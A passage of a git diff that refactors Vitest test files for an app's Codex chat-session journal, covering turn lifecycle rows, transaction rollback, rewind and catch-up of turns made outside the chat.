resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Debian: '/home/me/.codex' } } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) - - it('resolves a per-distro override for the matching distro', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: '/home/me/.config/codex' } } }, - 'Ubuntu' - ) - ).toBe('/home/me/.config/codex') - }) - - it('matches distro names case-insensitively, mirroring WSL', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: '/home/me/.config/codex' } } }, - 'ubuntu' - ) - ).toBe('/home/me/.config/codex') - }) - - it('ignores blank per-distro overrides so the default is kept', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { wsl: { Ubuntu: ' ' } } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) - - it('does not leak the host override into WSL resolution', () => { - expect( - resolveWslCodexSessionSourceHome( - { codexSessionSourceHome: { host: '/custom/codex' } }, - 'Ubuntu' - ) - ).toBeUndefined() - }) -}) diff --git a/src/main/codex/codex-structured-journal-settlement-rollback.test.ts b/src/main/codex/codex-structured-journal-settlement-rollback.test.ts index 35a98d4eb00..21e4cbd9772 100644 --- a/src/main/codex/codex-structured-journal-settlement-rollback.test.ts +++ b/src/main/codex/codex-structured-journal-settlement-rollback.test.ts @@ -14,7 +14,7 @@ import { createCodexJournalTranslator } from './codex-structured-journal-transla import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' const SESSION = 'codex-atomic' -const journals = createTrackedJournalOpener() +const journals = createTrackedJournalOpener({ legacyInputs: true }) let root: string | undefined afterEach(async () => { @@ -83,20 +83,24 @@ it('rolls back the entire Codex exit settlement when a later row fails', async ( const diskBefore = liveTestJournalRows(database.db, SESSION) const sawEarlierInserts: number[] = [] const transaction = database.transaction.bind(database) - vi.spyOn(database, 'transaction').mockImplementation((run) => - transaction((db) => { - try { - return run(db) - } catch (error) { - sawEarlierInserts.push(liveTestJournalRows(db, SESSION).length - diskBefore.length) - expect(journal.snapshot()).toEqual(before) - expect(commits).not.toHaveBeenCalled() - expect( - published.every((snapshot) => JSON.stringify(snapshot) === JSON.stringify(before)) - ).toBe(true) - throw error - } - }) + vi.spyOn(database, 'transaction').mockImplementation((run, streamed, committed) => + transaction( + (db) => { + try { + return run(db) + } catch (error) { + sawEarlierInserts.push(liveTestJournalRows(db, SESSION).length - diskBefore.length) + expect(journal.snapshot()).toEqual(before) + expect(commits).not.toHaveBeenCalled() + expect( + published.every((snapshot) => JSON.stringify(snapshot) === JSON.stringify(before)) + ).toBe(true) + throw error + } + }, + streamed, + committed + ) ) database.db.exec(`CREATE TEMP TRIGGER reject_codex_later BEFORE INSERT ON journal_rows WHEN NEW.session_id = '${SESSION}' AND NEW.seq > ${before.cursor.sequence + 1} diff --git a/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts b/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts index c87728533c9..1537abedcdf 100644 --- a/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts +++ b/src/main/codex/codex-structured-journal-translation-turn-lifecycle.test.ts @@ -1,98 +1,25 @@ -import { mkdtemp, rm } from 'node:fs/promises' -import { tmpdir } from 'node:os' import { join } from 'node:path' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import type { - AgentJournalItemBody, - AgentJournalItemIdentity -} from '../../shared/agent-session-journal-types' -import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' -import { - readAgentJournalTurn, - readAgentJournalTurnOutcome -} from '../../shared/agent-session-turn-record' -import { createTrackedJournalOpener } from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { - createDeferredStructuredAgentSessionEventSink, - type StructuredAgentSessionEventSink -} from '../native-chat/agent-session-wire/structured-agent-session-event-sink' -import type { CodexAppServerConnection } from './app-server/codex-app-server-connection-types' +import { describe, expect, it, vi } from 'vitest' +import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' import { createCodexJournalTranslator } from './codex-structured-journal-translation' import { CODEX_COMMAND_APPROVAL_METHOD, CODEX_USER_INPUT_METHOD, CodexPromptRegistry } from './codex-structured-prompt-replies' -import { createCodexStructuredNotificationRetry } from './codex-structured-notification-retry' -import type { CodexStructuredSessionEvent } from './codex-structured-session-adapter' -import type { CodexSession } from './codex-structured-session-state' import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' -const SESSION_ID = 'session-1' -const THREAD_ID = 'thread-abc' -const TURN_ID = 'turn-1' -const LIFECYCLE_KEY = 'legacy:codex:session-1:turn-lifecycle%3Aturn-1' -const USER_ITEM_ID = 'codex:thread-abc:turn-1:0' - -type Row = { key: string; body: AgentJournalItemBody } - -function recorder() { - const rows: Row[] = [] - const tombstones: string[] = [] - const sink: StructuredAgentSessionEventSink = { - appendItem: (identity: AgentJournalItemIdentity, body) => - rows.push({ key: agentJournalItemKey(identity), body }), - appendTombstone: (identity) => tombstones.push(agentJournalItemKey(identity)), - publish: () => {} - } - return { sink, rows, tombstones } -} - -function reduced(rows: readonly Row[]): Row[] { - const latest = new Map() - for (const row of rows) { - latest.set(row.key, row) - } - return [...latest.values()] -} - -function notification( - method: string, - params: unknown, - observedAt?: number -): CodexStructuredSessionEvent { - return { - type: 'notification', - sessionId: SESSION_ID, - threadId: THREAD_ID, - method, - params, - ...(observedAt !== undefined ? { observedAt } : {}) - } -} - -function translatorFor(tap: ReturnType, now?: () => number) { - return createCodexJournalTranslator({ - sink: tap.sink, - sessionId: SESSION_ID, - primaryThreadId: () => THREAD_ID, - ...(now ? { now } : {}) - }) -} - -const journals = createTrackedJournalOpener() -let root: string - -beforeEach(async () => { - root = await mkdtemp(join(tmpdir(), 'orca-codex-turn-lifecycle-')) -}) - -afterEach(async () => { - await journals.closeAll() - await rm(root, { recursive: true, force: true }) - vi.useRealTimers() -}) +import { + fixture, + SESSION_ID, + THREAD_ID, + TURN_ID, + USER_ITEM_ID, + journals, + notification, + recorder +} from './codex-turn-lifecycle-contract-test-fixture' describe('codex turn lifecycle rows', () => { it('binds a prompt without a provider turn id to the active turn before cleanup', () => { @@ -222,7 +149,7 @@ describe('codex turn lifecycle rows', () => { providerHandle: codexProviderHandle(THREAD_ID) }, now: () => 9_000, - stateDirectory: join(root, SESSION_ID) + stateDirectory: join(fixture.root, SESSION_ID) }) const deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) const translator = createCodexJournalTranslator({ @@ -238,17 +165,7 @@ describe('codex turn lifecycle rows', () => { const appended = journal.readSince(before) expect(appended.ok && appended.rows).toEqual([ - expect.objectContaining({ - kind: 'item', - ts: 1_000, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'running', - userItemId: USER_ITEM_ID, - startedAt: 1_000 - } - }) + expect.objectContaining({ kind: 'outcome', seq: before.sequence + 1 }) ]) expect(journal.snapshot().items).toEqual([ expect.objectContaining({ @@ -313,307 +230,4 @@ describe('codex turn lifecycle rows', () => { requestedAt: 900 }) }) - - it('keeps the verdict when a send echoed after completion revises the settled row', () => { - const tap = recorder() - const translator = createCodexJournalTranslator({ - sink: tap.sink, - sessionId: SESSION_ID, - primaryThreadId: () => THREAD_ID, - dispatchRequestOrigin: () => ({ requestedAt: 900, sequence: 0 }) - }) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle( - notification('turn/completed', { turn: { id: TURN_ID, status: 'failed' } }, 2_000) - ) - translator.handle( - notification( - 'item/started', - { - turn: { id: TURN_ID }, - item: { type: 'userMessage', id: 'user-1', clientId: 'client-1' } - }, - 2_100 - ) - ) - - // requestedAt distinguishes the post-echo revision from the original terminal row. - const lifecycle = reduced(tap.rows).find((row) => row.key === LIFECYCLE_KEY) - expect(lifecycle?.body).toMatchObject({ - kind: 'turn', - state: 'completed', - outcome: 'failure', - requestedAt: 900 - }) - }) - - it('carries the provider duration and the same user item onto the terminal row', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle( - notification( - 'turn/completed', - { turn: { id: TURN_ID, status: 'completed', durationMs: 3_250 } }, - 4_500 - ) - ) - - expect(tap.rows.at(-1)).toEqual({ - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'completed', - outcome: 'success', - userItemId: USER_ITEM_ID, - startedAt: 1_000, - completedAt: 4_500, - durationMs: 3_250 - } - }) - }) - - it.each([ - ['interrupted', 'interrupted', 'cancellation'], - ['failed', 'completed', 'failure'], - ['someFutureStatus', 'completed', undefined], - ['inProgress', 'completed', undefined] - ] as const)( - 'maps a %s turn status to a %s lifecycle with outcome %s', - (status, state, outcome) => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID, status } }, 2_000)) - - expect(tap.tombstones).toEqual([]) - expect(reduced(tap.rows)).toEqual([ - { - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state, - ...(outcome ? { outcome } : {}), - userItemId: USER_ITEM_ID, - startedAt: 1_000, - completedAt: 2_000 - } - } - ]) - } - ) - - it('records no outcome for a turn end that named no status', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } }, 1_000)) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 2_000)) - - const body = reduced(tap.rows).at(-1)?.body - expect(body).toMatchObject({ kind: 'turn', state: 'completed' }) - expect(readAgentJournalTurnOutcome(readAgentJournalTurn(body))).toBeNull() - }) - - it('stamps the host clock when a boundary arrives without a receipt time', () => { - const tap = recorder() - let clock = 10_000 - const translator = translatorFor(tap, () => (clock += 250)) - - translator.handle(notification('turn/started', { turn: { id: TURN_ID } })) - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } })) - - expect(tap.rows.map((row) => row.body)).toMatchObject([ - { kind: 'turn', state: 'running', startedAt: 10_250 }, - { kind: 'turn', state: 'completed', startedAt: 10_250, completedAt: 10_500 } - ]) - }) - - it('writes only the end time, and no duration, when Codex reports neither', () => { - const tap = recorder() - const translator = translatorFor(tap) - - translator.handle(notification('turn/completed', { turn: { id: TURN_ID } }, 3_000)) - - expect(tap.rows).toEqual([ - { - key: LIFECYCLE_KEY, - body: { - kind: 'turn', - turnId: TURN_ID, - state: 'completed', - userItemId: USER_ITEM_ID, - completedAt: 3_000 - } - } - ]) - }) - - it('replays an oversized backpressured notification with its original receipt time', async () => { - vi.useFakeTimers() - const connection = { - pauseReading: vi.fn(), - resumeReading: vi.fn() - } as unknown as CodexAppServerConnection - const translate = vi - .fn[0]['translate']>() - .mockReturnValueOnce({ accepted: false, reason: 'backpressure' }) - .mockReturnValue({ accepted: true }) - const retries = createCodexStructuredNotificationRetry({ - sessionFor: () => ({ connection, ended: false }) as CodexSession, - translate - }) - - expect( - retries.handle( - SESSION_ID, - 'turn/started', - { turn: { id: TURN_ID }, output: 'x'.repeat(9 * 1024 * 1024) }, - 1_000, - -1 - ) - ).toEqual({ accepted: false, reason: 'backpressure' }) - await vi.advanceTimersByTimeAsync(50) - - expect(translate.mock.calls.map((call) => call[4])).toEqual([1_000, 1_000]) - expect(translate.mock.calls.map((call) => call[5])).toEqual([-1, -1]) - expect(connection.resumeReading).not.toHaveBeenCalled() - }) - - it('restores historical turn rows with optional endpoints in milliseconds', () => { - const tap = recorder() - const translator = translatorFor(tap) - - expect( - translator.restoreThread(THREAD_ID, { - turns: [ - { - id: 'turn-done', - status: 'completed', - startedAt: 1_700_000_000, - completedAt: 1_700_000_042, - durationMs: 41_900, - items: [{ type: 'agentMessage', id: 'agent-done', text: 'done' }] - }, - { - id: 'turn-cut', - status: 'interrupted', - startedAt: 1_700_000_100, - completedAt: 1_700_000_101, - items: [] - }, - { - id: 'turn-failed', - status: 'failed', - startedAt: 1_700_000_150, - completedAt: 1_700_000_152, - durationMs: 2_400, - items: [] - }, - { - id: 'turn-unplaced', - status: 'someFutureStatus', - startedAt: 1_700_000_170, - completedAt: 1_700_000_171, - items: [] - }, - { id: 'turn-open', status: 'inProgress', startedAt: 1_700_000_200, items: [] }, - { id: 'turn-untimed', status: 'completed', items: [] } - ] - }) - ).toEqual({ accepted: true }) - - expect(tap.rows).toEqual([ - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-done', - body: { - kind: 'turn', - turnId: 'turn-done', - state: 'completed', - outcome: 'success', - userItemId: 'codex:thread-abc:turn-done:0', - startedAt: 1_700_000_000_000, - completedAt: 1_700_000_042_000, - durationMs: 41_900 - } - }, - expect.objectContaining({ body: expect.objectContaining({ kind: 'message' }) }), - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-cut', - body: { - kind: 'turn', - turnId: 'turn-cut', - state: 'interrupted', - outcome: 'cancellation', - userItemId: 'codex:thread-abc:turn-cut:0', - startedAt: 1_700_000_100_000, - completedAt: 1_700_000_101_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-failed', - body: { - kind: 'turn', - turnId: 'turn-failed', - state: 'completed', - outcome: 'failure', - userItemId: 'codex:thread-abc:turn-failed:0', - startedAt: 1_700_000_150_000, - completedAt: 1_700_000_152_000, - durationMs: 2_400 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-unplaced', - body: { - kind: 'turn', - turnId: 'turn-unplaced', - state: 'completed', - userItemId: 'codex:thread-abc:turn-unplaced:0', - startedAt: 1_700_000_170_000, - completedAt: 1_700_000_171_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-open', - body: { - kind: 'turn', - turnId: 'turn-open', - state: 'completed', - userItemId: 'codex:thread-abc:turn-open:0', - startedAt: 1_700_000_200_000 - } - }, - { - key: 'legacy:codex:session-1:turn-lifecycle%3Aturn-untimed', - body: { - kind: 'turn', - turnId: 'turn-untimed', - state: 'completed', - outcome: 'success', - userItemId: 'codex:thread-abc:turn-untimed:0' - } - } - ]) - expect(tap.tombstones).toEqual([]) - }) - - it('restores no lifecycle rows without a session identity to key them by', () => { - const tap = recorder() - const translator = createCodexJournalTranslator({ - sink: tap.sink, - primaryThreadId: () => THREAD_ID - }) - - translator.restoreThread(THREAD_ID, { - turns: [{ id: 'turn-done', status: 'completed', startedAt: 1, completedAt: 2, items: [] }] - }) - - expect(tap.rows).toEqual([]) - }) }) diff --git a/src/main/codex/codex-structured-rewind.test.ts b/src/main/codex/codex-structured-rewind.test.ts index 78602b56475..d9f065177b6 100644 --- a/src/main/codex/codex-structured-rewind.test.ts +++ b/src/main/codex/codex-structured-rewind.test.ts @@ -2,7 +2,6 @@ import { describe, expect, it, vi } from 'vitest' import { CodexAppServerRequestError } from './app-server/codex-app-server-request-error' import type { CodexSession } from './codex-structured-session-state' import { recoverCodexRewind, rewindCodexSession } from './codex-structured-rewind' -import { openCodexThread } from './codex-structured-thread-open' function fixture(turns = ['kept', 'drop'], reverted = false) { let history = reverted ? turns.slice(0, turns.indexOf('drop')) : turns @@ -174,15 +173,4 @@ describe('Codex rewind', () => { }) expect(request).toHaveBeenCalledTimes(1) }) - it('captures history mode at both start and resume without changing defaults', async () => { - for (const resumeThreadId of [null, 'thread']) { - const request = vi.fn(async (_method: string, _params?: unknown) => ({ - thread: { id: 'thread', historyMode: 'legacy' } - })) - expect( - await openCodexThread({ request }, { cwd: '/workspace', resumeThreadId }, 10) - ).toMatchObject({ historyMode: 'legacy' }) - expect(request.mock.calls[0]?.[1]).not.toHaveProperty('historyMode') - } - }) }) diff --git a/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts b/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts index 72e0a32e9e6..7f68e9bd03d 100644 --- a/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts +++ b/src/main/codex/codex-structured-thread-catch-up-echo.spec.ts @@ -11,10 +11,7 @@ import { agentSessionFailureFact } from '../../shared/agent-session-failure' import { agentSessionFailureWords } from '../../shared/agent-session-failure-words' import { AGENT_JOURNAL_THREAD_SCOPE } from '../../shared/agent-session-journal-types' import { structuredRewindCut } from '../native-chat/agent-session-wire/structured-rewind-cut' -import { - applyJournalRow, - createJournalReducerState -} from '../native-chat/agent-session-journal/journal-reducer' +import { restoreJournal } from '../native-chat/agent-session-journal/journal-open' export function registerCodexCatchUpEchoTests(input: { chat: typeof catchUpChat @@ -122,15 +119,8 @@ export function registerCodexCatchUpEchoTests(input: { await c.open([...native, outside]) expect(c.journal.snapshot()).toEqual(whole) expect(c.journal.queuedMessages.get('draft')).toEqual(draft) - const replay = c.journal.readSince({ epoch: c.journal.epoch, sequence: 0 }) - if (!replay.ok || !draft) { - throw new Error('missing replay fixture') - } - const state = createJournalReducerState(SESSION, c.journal.epoch) - for (const row of replay.rows) { - applyJournalRow(state, row) - } - expect(state.queue.cards.get('draft')).toEqual(draft) + const restored = restoreJournal(c.db, SESSION) + expect(restored?.state.queue.cards.get('draft')).toEqual(draft) }) it('keeps native display identity after a real retained cut and disk reopen', async () => { diff --git a/src/main/codex/codex-structured-thread-catch-up.test.ts b/src/main/codex/codex-structured-thread-catch-up.test.ts index c743325e6d8..c635ac105f8 100644 --- a/src/main/codex/codex-structured-thread-catch-up.test.ts +++ b/src/main/codex/codex-structured-thread-catch-up.test.ts @@ -1,459 +1,176 @@ -import { projectStructuredItemsToNativeChat } from '../../shared/structured-agent-session-projection' import { registerCodexCatchUpEchoTests } from './codex-structured-thread-catch-up-echo.spec' - -import { mkdtemp, rm, writeFile } from 'node:fs/promises' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { afterEach, describe, expect, it } from 'vitest' -import { agentJournalItemKey } from '../../shared/agent-session-journal-item-key' -import type { AgentSessionJournalIdentity } from '../../shared/agent-session-journal-types' -import { codexProviderHandle } from '../../shared/agent-session-provider-handle-encoding' -import { - closeTestJournalHostDatabase, - createTrackedJournalOpener, - openTestJournalHostDatabase -} from '../native-chat/agent-session-journal/journal-host-database-test-support' -import { createDeferredStructuredAgentSessionEventSink } from '../native-chat/agent-session-wire/structured-agent-session-event-sink' -import { testEventSinkLogging } from '../native-chat/agent-session-wire/structured-agent-session-logger-test-support' +import { projectStructuredItemsToNativeChat } from '../../shared/structured-agent-session-projection' +import { expect, it } from 'vitest' import { createCodexJournalTranslator } from './codex-structured-journal-translation' -import { importLegacyTranscriptIntoJournal } from '../native-chat/agent-session-journal/journal-legacy-import' -import { openTestAgentSessionRecordStore } from '../runtime/agent-session-record-store-test-harness' -import { recoverStructuredRewind } from '../native-chat/agent-session-wire/structured-rewind-recovery' -import { usableJournalHistoryOrigin } from '../native-chat/agent-session-journal/journal-history-origin' -import { catchUpCodexThread } from './codex-structured-thread-catch-up' -const SESSION = 'session-codex-catch-up' -const THREAD = 'thread-abc' -const STARTED_AT = 1_700_000_000 +import { SESSION, THREAD, chat, turn } from './codex-thread-catch-up-contract-test-fixture' -export function turn(index: number, view: 'full' | 'summary' = 'full'): Record { - return { - id: `turn-${index}`, - status: 'completed', - itemsView: view, - startedAt: STARTED_AT + index * 100, - completedAt: STARTED_AT + index * 100 + 50, - items: [ - { type: 'userMessage', id: `u-${index}`, content: [{ type: 'text', text: `ask ${index}` }] }, - { type: 'agentMessage', id: `a-${index}`, text: `answer ${index}` } - ] - } -} - -function codexWith(turns: Record[]) { - return { - request: async (method: string, params?: Record) => { - expect(method).toBe('thread/turns/list') - expect(params).toMatchObject({ sortDirection: 'desc', limit: 100 }) - const newestFirst = turns.toReversed() - const start = typeof params?.cursor === 'string' ? Number(params.cursor) : 0 - const data = newestFirst.slice(start, start + 2) - return { - data, - nextCursor: start + 2 < newestFirst.length ? String(start + 2) : null - } - } - } -} - -const journals = createTrackedJournalOpener() -const cleanups: (() => Promise)[] = [] -afterEach(async () => { - for (const cleanup of cleanups.splice(0)) { - await cleanup() - } +it('retains the complete outside answer tail through catch-up, disk reopen and display', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const answer = `${'outside answer paragraph\n'.repeat(1_024)}END-OF-OUTSIDE-ANSWER-30883` + const outside = { ...turn(2), items: [{ type: 'agentMessage', id: 'a-2', text: answer }] } + await c.open([turn(1), outside]) + await c.reopen() + const items = c.journal.snapshot().items + const stored = items.find( + (item) => + item.body.kind === 'message' && + item.body.role === 'assistant' && + item.body.blocks.some((block) => block.type === 'text' && block.text === answer) + ) + expect(stored?.body).toEqual({ + kind: 'message', + role: 'assistant', + blocks: [{ type: 'text', text: answer }] + }) + const displayed = projectStructuredItemsToNativeChat(items).flatMap((message) => message.blocks) + expect(displayed).toContainEqual({ type: 'text', text: answer }) }) -export async function chat(clock: { now: number }) { - const root = await mkdtemp(join(tmpdir(), 'orca-codex-catch-up-')) - const journalOptions = { - identity: { - sessionId: SESSION, - workspaceId: 'workspace-1', - hostId: 'local', - agent: 'codex', - providerHandle: codexProviderHandle(THREAD) - } satisfies AgentSessionJournalIdentity, - stateDirectory: root, - now: () => clock.now +it('adds the turns made outside the chat once, in order, after the chat rows', async () => { + const c = await chat({ now: 1_000 }) + + await c.open([turn(1)]) + expect(c.texts()).toEqual(['user:ask 1', 'assistant:answer 1']) + + await c.open([turn(1), turn(2), turn(3)]) + const caughtUp = [ + 'user:ask 1', + 'assistant:answer 1', + '(continued-outside)', + 'user:ask 2', + 'assistant:answer 2', + 'user:ask 3', + 'assistant:answer 3' + ] + expect(c.texts()).toEqual(caughtUp) + + await c.open([turn(1), turn(2), turn(3)]) + expect(c.texts()).toEqual(caughtUp) + + // An external rewind preserves displayed rows and adds a notice. + await c.open([turn(1), turn(2), turn(4)]) + expect(c.texts().slice(caughtUp.length)).toEqual([ + '(continued-outside-rewound)', + 'user:ask 4', + 'assistant:answer 4' + ]) + + // Summary-only history cannot be imported. + await c.open([turn(1), turn(2), turn(4), turn(6, 'summary')]) + expect(c.texts().slice(caughtUp.length + 3)).toEqual([]) +}) + +it('recovers an older gap behind newer native work after a failed read and restart', async () => { + const c = await chat({ now: 1_000 }) + await c.open([turn(1)]) + const failed = { + request: async () => { + throw new Error('read failed') + } } - let journal = await journals.open(journalOptions) - let deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) - const publications: number[] = [] - const bind = () => - deferred.bind({ - journal, - fence: 1, - publish: () => { - publications.push(journal.snapshot().items.length) - } - }) - bind() - cleanups.push(async () => { - deferred.close() - await journals.closeAll() - await rm(root, { recursive: true, force: true }) + await c.open([turn(1), turn(2)], { connection: failed }) + const native = createCodexJournalTranslator({ + sink: c.deferred.sink, + sessionId: SESSION, + primaryThreadId: () => THREAD }) - return { - get journal() { - return journal - }, - get deferred() { - return deferred - }, - root, - get db() { - return openTestJournalHostDatabase(root).db - }, - publications, - reopen: async () => { - deferred.close() - await journal.close() - await closeTestJournalHostDatabase(root) - journal = await journals.open(journalOptions) - deferred = createDeferredStructuredAgentSessionEventSink(testEventSinkLogging()) - bind() - }, - open: async ( - turns: Record[], - options: Partial[0]> = {} - ) => { - await catchUpCodexThread({ - connection: codexWith(turns), - threadId: THREAD, - sessionId: SESSION, - sink: deferred.sink, - ...options - }) - return deferred.drained() - }, - texts: () => - journal.snapshot().items.flatMap((item) => { - if (item.body.kind === 'message') { - const text = item.body.blocks.map((block) => (block.type === 'text' ? block.text : '')) - return [`${item.body.role}:${text.join('')}`] - } - return item.body.kind === 'status' && item.body.presentation - ? [`(${item.body.presentation})`] - : [] - }) + for (const [method, params] of [ + ['turn/started', { turn: { id: 'turn-3' } }], + [ + 'item/completed', + { turnId: 'turn-3', item: { type: 'agentMessage', id: 'native', text: 'native C' } } + ], + ['turn/completed', { turn: { id: 'turn-3', status: 'completed' } }] + ] as const) { + native.handle({ type: 'notification', sessionId: SESSION, threadId: THREAD, method, params }) } -} + await c.deferred.drained() + native.dispose() + const before = c.journal.snapshot().items + await c.reopen() + await c.open([turn(1), turn(2), turn(3)]) + expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) + await c.open([turn(1), turn(2), turn(3), turn(4)]) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 4', 'assistant:answer 4']) +}) -describe('Codex chat catch-up', () => { - registerCodexCatchUpEchoTests({ chat, turn, sessionId: SESSION, threadId: THREAD }) - - it('retains the complete outside answer tail through catch-up, disk reopen and display', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const answer = `${'outside answer paragraph\n'.repeat(1_024)}END-OF-OUTSIDE-ANSWER-30883` - const outside = { ...turn(2), items: [{ type: 'agentMessage', id: 'a-2', text: answer }] } - await c.open([turn(1), outside]) - await c.reopen() - const items = c.journal.snapshot().items - const stored = items.find( - (item) => - item.body.kind === 'message' && - item.body.role === 'assistant' && - item.body.blocks.some((block) => block.type === 'text' && block.text === answer) - ) - expect(stored?.body).toEqual({ - kind: 'message', - role: 'assistant', - blocks: [{ type: 'text', text: answer }] - }) - const displayed = projectStructuredItemsToNativeChat(items).flatMap((message) => message.blocks) - expect(displayed).toContainEqual({ type: 'text', text: answer }) +it('uses the continued-outside notice after a receipt-only known turn', async () => { + const c = await chat({ now: 1_000 }) + const body = { kind: 'message' as const, role: 'user' as const, blocks: [] } + await c.journal.appendSubmission({ + clientMessageId: 'receipt', + body, + payloadFingerprint: 'receipt', + fence: 1 }) - - it('adds the turns made outside the chat once, in order, after the chat rows', async () => { - const c = await chat({ now: 1_000 }) - - await c.open([turn(1)]) - expect(c.texts()).toEqual(['user:ask 1', 'assistant:answer 1']) - - await c.open([turn(1), turn(2), turn(3)]) - const caughtUp = [ - 'user:ask 1', - 'assistant:answer 1', - '(continued-outside)', - 'user:ask 2', - 'assistant:answer 2', - 'user:ask 3', - 'assistant:answer 3' - ] - expect(c.texts()).toEqual(caughtUp) - - await c.open([turn(1), turn(2), turn(3)]) - expect(c.texts()).toEqual(caughtUp) - - // An external rewind preserves displayed rows and adds a notice. - await c.open([turn(1), turn(2), turn(4)]) - expect(c.texts().slice(caughtUp.length)).toEqual([ - '(continued-outside-rewound)', - 'user:ask 4', - 'assistant:answer 4' - ]) - - // Summary-only history cannot be imported. - await c.open([turn(1), turn(2), turn(4), turn(6, 'summary')]) - expect(c.texts().slice(caughtUp.length + 3)).toEqual([]) + await c.journal.resolveDispatch({ + clientMessageId: 'receipt', + state: 'accepted', + providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 0 }, + fence: 1 }) + await c.open([turn(1), turn(2)]) + expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) +}) - it('recovers an older gap behind newer native work after a failed read and restart', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const failed = { - request: async () => { - throw new Error('read failed') - } - } - await c.open([turn(1), turn(2)], { connection: failed }) - const native = createCodexJournalTranslator({ - sink: c.deferred.sink, - sessionId: SESSION, - primaryThreadId: () => THREAD - }) - for (const [method, params] of [ - ['turn/started', { turn: { id: 'turn-3' } }], - [ - 'item/completed', - { turnId: 'turn-3', item: { type: 'agentMessage', id: 'native', text: 'native C' } } - ], - ['turn/completed', { turn: { id: 'turn-3', status: 'completed' } }] - ] as const) { - native.handle({ type: 'notification', sessionId: SESSION, threadId: THREAD, method, params }) - } - await c.deferred.drained() - native.dispose() - const before = c.journal.snapshot().items - await c.reopen() - await c.open([turn(1), turn(2), turn(3)]) - expect(c.journal.snapshot().items.slice(0, before.length)).toEqual(before) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) - await c.open([turn(1), turn(2), turn(3), turn(4)]) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 4', 'assistant:answer 4']) - }) - - it('uses the continued-outside notice after a receipt-only known turn', async () => { - const c = await chat({ now: 1_000 }) - const body = { kind: 'message' as const, role: 'user' as const, blocks: [] } - await c.journal.appendSubmission({ - clientMessageId: 'receipt', - body, - payloadFingerprint: 'receipt', - fence: 1 - }) - await c.journal.resolveDispatch({ - clientMessageId: 'receipt', - state: 'accepted', - providerIdentity: { provider: 'codex', threadId: THREAD, turnId: 'turn-1', ordinal: 0 }, - fence: 1 - }) - await c.open([turn(1), turn(2)]) - expect(c.texts().slice(-3)).toEqual(['(continued-outside)', 'user:ask 2', 'assistant:answer 2']) - }) - - it('commits a 600-message import once, rolls back a later partition failure, and recovers', async () => { - const c = await chat({ now: 1_000 }) - await c.open([turn(1)]) - const before = c.journal.snapshot() - const large = { - ...turn(2), - items: Array.from({ length: 600 }, (_, n) => ({ - type: 'agentMessage', - id: `item-${n}`, - text: `answer ${n}` - })) - } - const seq = c.journal.cursor().sequence - c.db.exec( - `CREATE TRIGGER fail_later_partition BEFORE INSERT ON journal_rows WHEN NEW.seq > ${seq + 1} BEGIN SELECT RAISE(ABORT, 'injected later partition failure'); END` - ) - expect((await c.open([turn(1), large])).ok).toBe(false) - expect(c.deferred.state().failed).toBe(true) - expect(c.journal.snapshot()).toEqual(before) - c.db.exec('DROP TRIGGER fail_later_partition') - await c.reopen() - expect(c.journal.snapshot()).toEqual(before) - c.publications.length = 0 - await c.open([turn(1), large]) - expect(c.texts()).toHaveLength(603) - expect(c.publications).toEqual([before.items.length + 602]) - await c.reopen() - await c.open([turn(1), large]) - expect(c.texts()).toHaveLength(603) - }) - - it('keeps rollback reasoning and message identities immutable across turns', async () => { - const c = await chat({ now: 1_000 }) - const withReasoning = (n: number) => ({ - 